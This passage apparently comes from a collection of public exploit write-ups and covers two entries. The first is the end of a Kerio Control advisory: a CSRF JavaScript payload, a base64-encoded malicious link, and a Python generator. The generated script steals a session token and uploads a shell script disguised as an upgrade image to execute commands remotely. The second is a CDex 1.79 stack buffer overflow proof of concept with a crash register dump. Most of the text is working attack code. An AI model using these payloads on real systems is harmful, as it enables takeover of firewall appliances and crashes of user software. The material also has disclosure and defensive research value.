"\x1f\x8b\x08\x00\xe0\x6e\x02\x56\x00\x03\xed\xce\xb1\x0e\x82\x30\x10\xc6\xf1\xce\x3c\xc5\x19\x13\x37\xe1\x8a\x2d\x3e\x4f\x51\x22\x2e\x60\x5a\x78\x7f\xab\x83\x24\x0e\x3a\x11\x63\xf2\xff\xdd\xf0\x25\xf7\xdd\x70\xf3\xed\x12\xc3\xb9\x2b\x53\x6f\x56\xa3\x59\xe3\xdc\x33\xb3\xf7\x54\xf5\xce\xd8\xba\x51\x75\xcd\xf1\xe0\xf2\xde\x5a\x9f\x43\x74\xbd\x97\x16\x73\x9a\x42\x14\x31\x71\x1c\xa7\x4f\x77\xdf\xfa\x3f\xb5\xdd\x54\xed\x75\xa8\xda\x90\xfa\x62\x38\x89\xd5\xf2\x31\xb5\xf8\x4c\xf6\x9d\xbc\x5a\xd9\x15\xbf\xfe\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb0\xb8\x03\x94\x67\x18\xfa\x00\x28\x00\x00\r\n" +
"-----------------------------1038495162429835808207612951--\r\n";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
</script>
Base64 encode and craft malicous link:
https://testbox:4081/nonauth/certificate.php?server=PHNjcmlwdD4KdXJsPSdodHRwOi8vMTAuMC4wLjE6NDA4MS9hZG1pbic7Cl90b2tlbj0iIjsKX2Zp
bGU9IiI7Cl9pZCA9ICIiOwpmdW5jdGlvbiByZXFMaXN0ZW5lciAoKSB7CglvYmogPSBKU09OLnBh
cnNlKHRoaXMucmVzcG9uc2VUZXh0KTsKCWZpbGUgPSBvYmoucmVzdWx0LmZpbGVVcGxvYWQubmFt
ZTsKCWlkID0gb2JqLnJlc3VsdC5maWxlVXBsb2FkLmlkOwoJY3JlYXRlSUZyYW1lKGZpbGUsIGlk
KTsKfQpmdW5jdGlvbiBjcmVhdGVJRnJhbWUoZmlsZSwgaWQpIHsKCWlmcmFtZT1kb2N1bWVudC5j
cmVhdGVFbGVtZW50KCJpZnJhbWUiKTsKCWlmcmFtZS5zcmM9dXJsICsgIi9jb25zdGFudHMuanMu
cGhwIjsKCWlmcmFtZS5zdHlsZS5kaXNwbGF5ID0gIm5vbmUiOwoJaWZyYW1lLnNhbmRib3g9ImFs
bG93LXNjcmlwdHMgYWxsb3ctc2FtZS1vcmlnaW4iOwoJaWZyYW1lLm9ubG9hZD1mdW5jdGlvbigp
IHsKCQljb29raWUgPSBpZnJhbWUuY29udGVudFdpbmRvdy5kb2N1bWVudC5jb29raWU7CgkJdmFy
IHJlID0gbmV3IFJlZ0V4cChuYW1lICsgIj0oW147XSspIik7CgkJdmFyIHZhbHVlID0gcmUuZXhl
Yyhjb29raWUpOwoJCXZhciB0b2tlbj0odmFsdWUgIT0gbnVsbCkgPyB1bmVzY2FwZSh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G4iICsgCiIt
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLTEwMzg0OTUxNjI0Mjk4MzU4MDgyMDc2MTI5NTEt
LVxyXG4iOwp2YXIgYUJvZHkgPSBuZXcgVWludDhBcnJheShib2R5Lmxlbmd0aCk7CmZvciAodmFy
IGkgPSAwOyBpIDwgYUJvZHkubGVuZ3RoOyBpKyspCmFCb2R5W2ldID0gYm9keS5jaGFyQ29kZUF0
KGkpOyAKeGhyLnNlbmQobmV3IEJsb2IoW2FCb2R5XSkpOwo8L3NjcmlwdD4K
Python 3 payload generator
==========================
For easier testing, we developed a small python script that can be used to
generate the payload:
#!/usr/bin/python
# ====================================================================== #
# Title: Remote Command Execution through CSRF - Payload Generator #
# Author: Raschin Tavakoli - IntelliSec GmbH #
# Date: 12.10.2015 #
# #
# Description: #
# This python3 script generates the payload to exploit the RCE via CSRF #
# vulnerability in the Kerio Control Virtual Appliance. #
# #
# First a shell script will be packed as an Kerio upgrade.img file. Then #
# a Javascript will be generated which uploads the file via the Kerio #
# upgrade function. The payload will then be base64 encoded and can be #
# injected into the server parameter of the #
# nonauth/certificate.php script (). #
# #
# Example Usage: #
# csrf-gen-payload.py -t https://10.0.0.8:4081/admin -l 10.0.0.7 -p 5555 #
# ====================================================================== #
import os
import shutil
import base64
import argparse
import subprocess
from optparse import OptionParser
import codecs
import sys
tmpdir = "/tmp/kerio_upgrade"
def usage():
print ("\nUsage: csrf-gen-payload -f <file> -t <target-url> \n")
print("Example: csrf-gen-payload.py -f upgrade.sh -t https://10.0.0.8:4081/admin \n")
exit()
def main():
parser = OptionParser()
parser.add_option("-f", "--file", dest="file",
help="the bash file for remote execution", metavar="TARGET")
parser.add_option("-t", "--target", dest="target_url",
help="specify the target url", metavar="TARGET")
(options, args) = parser.parse_args()
file = options.file
target_url = options.target_url
if not target_url or not file:
usage()
# ====================================================================== #
# Create upgrade.img file #
# ====================================================================== #
orgdir = os.path.dirname(os.path.realpath(__file__))
try:
if os.path.exists(tmpdir):
shutil.rmtree(tmpdir)
except:
print("Cannot clean " + tmpdir)
os.mkdir(tmpdir)
shutil.copy(file, tmpdir + os.path.sep + "upgrade.sh")
os.chdir(tmpdir)
os.system("tar czf upgrade.tar.gz *")
src = os.path.join(tmpdir, "upgrade.tar.gz")
dst = os.path.join(tmpdir, "upgrade.img")
os.rename(src, dst)
f = open('upgrade.img', 'rb',)
bin_data = f.read()
f.close()
hexdata = "".join("\\x{:02x}".format(c) for c in bin_data)
# ====================================================================== #
# Generate Javascript Payload #
# ====================================================================== #
script = ('<script>\n' +
'url=\'' + target_url +
'\';\n' +
'_token="";\n' +
'_file="";\n' +
'_id = "";\n' +
'function reqListener () {\n' +
'\tobj = JSON.parse(this.responseText);\n' +
'\tfile = obj.result.fileUpload.name;\n' +
'\tid = obj.result.fileUpload.id;\n' +
'\tcreateIFrame(file, id);\n' +
'}\n' +
'function createIFrame(file, id) {\n' +
'\tiframe=document.createElement("iframe");\n' +
'\tiframe.src=url + "/constants.js.php";\n' +
'\tiframe.style.display = "none";\n' +
'\tiframe.sandbox="allow-scripts allow-same-origin";\n' +
'\tiframe.onload=function() {\n' +
'\t\tcookie = iframe.contentWindow.document.cookie;\n' +
'\t\tvar re = new RegExp(name + "=([^;]+)");\n' +
'\t\tvar value = re.exec(cookie);\n' +
'\t\tvar token=(value != null) ? unescape(value[1]) : null;\n' +
'\t\texecuteScript(file, id, token);\n' +
'\t}\n' +
'\tdocument.body.appendChild(iframe);\n' +
'}\n' +
'function executeScript(file, id, token) {\n' +
'\t_file = file;\n' +
'\t_id = id;\n' +
'\t_token = token;\n' +
'\tvar xmlhttp=new XMLHttpRequest();xmlhttp.open("POST", url + "/api/jsonrpc/", true);\n' +
'\txmlhttp.setRequestHeader("X-Token", token);\n' +
'\txmlhttp.addEventListener("load", executeScript2);\n' +
'\txmlhttp.setRequestHeader("X-Requested-With", "XMLHttpRequest");\n' +
'\txmlhttp.setRequestHeader("Content-Type", "application/json;charset=UTF-8");\n' +
'\txmlhttp.send(JSON.stringify({"jsonrpc":"2.0","id":1,"method":"UpdateChecker.uploadImage","params":{"fileId": file}}));\n' +
'}\n' +
'function executeScript2(file, token) {\n' +
'\tvar xmlhttp=new XMLHttpRequest();xmlhttp.open("POST", url +"/api/jsonrpc/", true);\n' +
'\txmlhttp.setRequestHeader("X-Token", _token);\n' +
'\txmlhttp.setRequestHeader("X-Requested-With", "XMLHttpRequest");\n' +
'\txmlhttp.setRequestHeader("Content-Type", "application/json;charset=UTF-8");\n' +
'\txmlhttp.send(JSON.stringify({"jsonrpc":"2.0","id":1,"method":"UpdateChecker.performCustomUpgrade","params":{"id": _id }}));\n' +
'}\n' +
'var xhr = new XMLHttpRequest();\n' +
'xhr.open("POST", url + "/api/jsonrpc/upload/", true);\n' +
'xhr.addEventListener("load", reqListener);\n' +
'xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");\n' +
'xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");\n' +
'xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------1038495162429835808207612951");\n' +
'xhr.withCredentials = true;\n' +
'var body = "-----------------------------1038495162429835808207612951\\r\\n" + \n' +
'"Content-Disposition: form-data; name=\\"uploadImage\\"; filename=\\"upgrade.img\\" \\r\\n" + \n' +
'"Content-Type: application/octet-stream\\r\\n" + \n' +
'"\\r\\n" + \n' +
'"' + hexdata + '\\r\\n" + \n' +
'"-----------------------------1038495162429835808207612951--\\r\\n";\n' +
'var aBody = new Uint8Array(body.length);\n' +
'for (var i = 0; i < aBody.length; i++)\n' +
'aBody[i] = body.charCodeAt(i); \n' +
'xhr.send(new Blob([aBody]));\n' +
'</script>')
print(script)
os.chdir(orgdir)
shutil.rmtree(tmpdir)
if __name__ == '__main__':
main()

View file

@ -0,0 +1,53 @@
'''
********************************************************************************************
# Exploit Title: CDex Genre Stack Buffer Overflow
# Date: 10/9/2015
# Exploit Author: Un_N0n
# Software Link: http://cdex.mu/download
# Version: 1.79
# Tested on: Windows 7 x86(32 BIT)
********************************************************************************************
[Steps to Produce the Crash]:
1- Generate a File by python code mentioned below.
2- Goto C:\Users\YourUsername\AppData\Local\CDex\LocalCDDB
3- Replace the Old CDexGenres.txt with New CDexGenres.txt which is
Produced by Python Code.
4- Open Up CDex.exe.
~Software will crash.
On Further Analysis, We come to know that it is Stack-based-BOF.
[REG-DUMP]:
EAX 00000000
ECX 779DD018 ASCII "\r\nSTATUS_STACK_BUFFER_OVERRUN encountered\r\n" //May be handled but yet application crashes.
EDX 0012F1A1 ASCII 0A,"STATUS_STA"
EBX 00749338 CDex.00749338
ESP 0012F3E8
EBP 0012F464
ESI 00000000
EDI 002C7AC8
EIP 779DCE96 kernel32.779DCE96
0012F3F4 002C7AC8
0012F3F8 002E25F8 ASCII "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx>
0012F3FC 002E5FD8
0012F400 002E44A0
0012F404 000003F8
0012F408 0000007F
0012F40C 0012F504
0012F410 00260000
0012F414 77C97B89 RETURN to ntdll.77C97B89 from ntdll.RtlFillMemoryUlong
0012F418 002E2580 ASCII "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx>
0012F41C 00001190
'''
[Code to produce CDexGenres.txt]
buffer = "A"*66666
file = "CDexGenres.txt"
f = open(file,'w')
f.write(buffer)
f.close()
'''
**********************************************************************************************
'''